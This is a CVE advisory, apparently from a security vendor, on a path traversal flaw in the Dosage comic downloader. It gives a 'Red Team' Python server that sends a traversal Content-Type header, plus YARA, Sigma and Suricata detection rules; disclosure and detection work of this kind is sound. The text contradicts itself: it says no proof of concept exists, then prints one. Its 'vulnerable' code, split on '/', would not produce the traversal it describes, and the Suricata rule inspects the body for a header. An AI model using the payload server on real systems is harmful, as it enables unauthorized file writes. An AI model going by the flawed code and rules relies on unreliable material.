CVE-2025-64184

Executive Summary

CVE-2025-64184 is a critical path traversal vulnerability in Dosage, a comic strip downloader and archiver, affecting versions 3.1 and below. The flaw allows a remote attacker or a Man-in-the-Middle (MitM) to write arbitrary files outside the intended target directory by manipulating the HTTP Content-Type header. While the basename is sanitized, the file extension is not, enabling directory traversal when combined with other conditions. The vulnerability has a CVSS score of 8.8, indicating high severity. No public proof-of-concept (PoC) or exploit code is available at this time. The issue is fixed in version 3.2.

Supply Chain & Package Security

Dosage is a Python package available on PyPI. Users should verify the integrity of the package by checking its checksum or signature before installation. The vulnerability affects the package's handling of HTTP responses, making it susceptible to MitM attacks if the comic source uses HTTP instead of HTTPS. Organizations should ensure that all comic sources are accessed over HTTPS and that the package is updated to version 3.2 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation (no authentication required, low complexity) and the potential for complete compromise of confidentiality, integrity, and availability. An attacker can write arbitrary files, potentially leading to remote code execution or data corruption.

Deep Dive & Mechanics

The vulnerability resides in the file naming logic of Dosage. When downloading comic images, the application constructs target file names from various components of the remote comic, including the page URL, image URL, and page content. The basename is properly sanitized to remove directory-traversing characters (e.g., ../). However, the file extension is derived directly from the HTTP Content-Type header without sanitization.

An attacker controlling the HTTP response (e.g., via MitM or a malicious comic server) can set the Content-Type header to a value containing path traversal sequences, such as image/../../etc/passwd. This allows the file to be written outside the intended download directory. Additional conditions may be required for successful exploitation, such as the ability to control the filename or the presence of a writable target directory.

The fix in version 3.2 sanitizes the file extension by stripping any characters that could be used for directory traversal, ensuring that the extension is safe.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.1 and below):

import os
import re

def get_extension(content_type):
    # No sanitization of the extension
    return content_type.split('/')[-1]

def download_comic(url, target_dir):
    response = requests.get(url)
    content_type = response.headers.get('Content-Type', '')
    ext = get_extension(content_type)
    # Basename is sanitized, but extension is not
    filename = os.path.join(target_dir, f"comic.{ext}")
    with open(filename, 'wb') as f:
        f.write(response.content)

Patched Code (version 3.2):

import os
import re

def sanitize_extension(ext):
    # Remove any characters that could be used for path traversal
    return re.sub(r'[^a-zA-Z0-9]', '', ext)

def download_comic(url, target_dir):
    response = requests.get(url)
    content_type = response.headers.get('Content-Type', '')
    ext = sanitize_extension(content_type.split('/')[-1])
    filename = os.path.join(target_dir, f"comic.{ext}")
    with open(filename, 'wb') as f:
        f.write(response.content)

The patched code introduces a sanitize_extension function that removes all non-alphanumeric characters from the extension, preventing directory traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Dosage instance (version 3.1 or below)
• Ability to perform a Man-in-the-Middle attack or control a comic server

Exploitation Steps:

1. Set up a malicious HTTP server that responds with a crafted Content-Type header.
2. Configure Dosage to download from the malicious server.
3. The server returns a response with Content-Type: image/../../tmp/evil.
4. Dosage writes the file to target_dir/comic.../../tmp/evil, which resolves to /tmp/evil outside the target directory.

Example Python script for malicious server:

from http.server import BaseHTTPRequestHandler, HTTPServer

class MaliciousHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'image/../../tmp/evil')
        self.end_headers()
        self.wfile.write(b'Malicious content')

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 8080), MaliciousHandler)
    server.serve_forever()

Blue Team

Detection:

• Monitor for unusual file writes outside the expected download directory.
• Check for HTTP responses with Content-Type headers containing path traversal characters (e.g., ../).
• Use network monitoring to detect MitM attacks on HTTP connections.

Hunting:

• Search for files with extensions containing non-alphanumeric characters in the download directory.
• Review logs for Dosage errors or warnings related to file writing.

Indicators of Compromise (IOCs)

• File System: Unexpected files written outside the target download directory, especially with extensions containing path traversal sequences.
• Network: HTTP responses with Content-Type headers containing ../ or other traversal patterns.
• Process: Dosage processes writing files to unusual paths (e.g., /tmp, /etc).

Detection Engineering

YARA Rule

rule CVE_2025_64184_Dosage_Path_Traversal {
    meta:
        description = "Detects path traversal attempts via Content-Type header in Dosage"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64184"
    strings:
        $content_type = /Content-Type:\s*[a-zA-Z]+\/[a-zA-Z0-9]*\.\.\// nocase
    condition:
        $content_type
}

Sigma Rule

title: CVE-2025-64184 - Dosage Path Traversal via Content-Type Header
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses with Content-Type headers containing path traversal sequences
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.response_header.content_type|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of unusual Content-Type headers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64184 - Dosage Path Traversal via Content-Type Header"; flow:to_client; content:"Content-Type"; http_server_body; content:"../"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade Dosage: Update to version 3.2 or later, which sanitizes the file extension from the Content-Type header.
2. Use HTTPS: Ensure all comic sources are accessed over HTTPS to prevent MitM attacks.
3. Network Segmentation: Restrict outbound HTTP traffic from Dosage to trusted servers only.
4. File System Monitoring: Implement file integrity monitoring to detect unauthorized file writes.
5. Input Validation: As a defense-in-depth measure, validate all file extensions before writing.

Valters IT
Securing Digital Frontiers